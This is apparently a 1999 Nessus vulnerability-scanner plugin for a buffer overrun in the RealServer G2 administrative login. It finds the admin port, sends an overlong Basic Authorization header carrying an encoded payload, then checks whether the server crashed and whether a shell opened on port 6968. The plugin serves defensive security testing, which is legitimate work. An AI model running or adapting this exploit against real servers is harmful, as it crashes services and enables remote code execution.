#
# This script was written by Renaud Deraison
# 
# Original exploit code : see http://www.beavuh.org
#
# See the Nessus Scripts License for details
#
#
if(description)
{
 script_id(10200);
 script_version ("$Revision: 1.16 $");
 script_cve_id("CAN-1999-0271");
 
 name["english"] = "RealServer G2 buffer overrun";
 name["francais"] = "Dépassement de buffer dans le serveur RealServer G2";
 script_name(english:name["english"], francais:name["francais"]);
 
desc["english"] = "
If a user sends a too long login/password combination
to the administrative server of a RealServer G2, then
it will overflow the server's buffer.

An attacker can use this flaw to execute arbitrary code
on the remote system.

Solution : filter incoming traffic to the administrative port
of the real server G2
Risk factor : High";



desc["francais"] = "
Si un utilisateur envoie une trop longue paire login/password
au serveur administratif de RealServer G2, alors il
dépassera le buffer du serveur.

Un pirate peut utiliser ce problème pour faire executer du
code arbitraire au système distant.

Solution  : filtrez le traffic entrant vers le port
administratif
Facteur de risque : Elevé";

 script_description(english:desc["english"], francais:desc["francais"]);
 
 summary["english"] = "Overflows a buffer in RealServer G2";
 script_summary(english:summary["english"]);
 
 script_category(ACT_DESTRUCTIVE_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison. Original exploit : www.beavuh.org");
 family["english"] = "Gain root remotely";
 family["francais"] = "Passer root à distance";
 script_family(english:family["english"], francais:family["francais"]);

 script_dependencies("find_service.nes");
 script_require_ports(7070, "Services/realserver");
 exit(0);
}

include("http_func.inc");

port7070 = get_kb_item("Services/realserver");
if(!port7070)port7070 = 7070;

if(get_port_state(port7070))
{
  #
  # A real server is running. Now, let's use the
  # result of the port scan to find the admin port
  #
  if(http_is_dead(port:port7070))exit(0);
  

  i = 1024;
  admin = 0;
 
  while(!admin)
  {
   i = i+1;
   if(get_port_state(i))
   {
    soc = open_sock_tcp(i);
    if(soc)
    {
     req = http_get(item:"/admin/index.html", port:i);
     send(socket:soc, data:req);
     r = http_recv(socket:soc);
     if(r)
     {
      if("Unauthorized" >< r)admin = i;
     }
    http_close_socket(soc);
    }
   }
   if(i > 65535)exit(0);
  }
  
  if(admin)
  {
  head = "GET /admin/index.html HTTP/1.0\r\n" +
	 "Connection: Keep-Alive\r\n" +
	 "User-Agent: Mozilla/4.04  (X11; I; Beavuh OS .9 i486; Nav)\r\n"+
   	 "Host: 111.111.11.1:1111\r\n" + 
	 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n"+
	"Accept-Language: en\r\n"+
	"Accept-Charset: iso-8859-1,*,utf-8\r\n"+
	"Authorization: Basic ";
mid = "[encoded data, 6152 characters]";
   tail = "\r\n\r\n";
   str = string(head, mid, tail);
   soc = open_sock_tcp(admin);
   if(soc)
   {
    send(socket:soc, data:str);
    close(soc);
    sleep(1);
    soc2 = open_sock_tcp(admin);
    send(socket:soc2, data:req);
    rep = http_recv(socket:soc2);
    if(!rep)
    {
    security_hole(admin);
    soc3 = open_sock_tcp(6968);
    if(soc3)
     {
     security_hole(port:6968, data:"We could open a shell on this port, thanks to the RealG2 overflow");
     close(soc3);
     }
    }
   }
  }
}
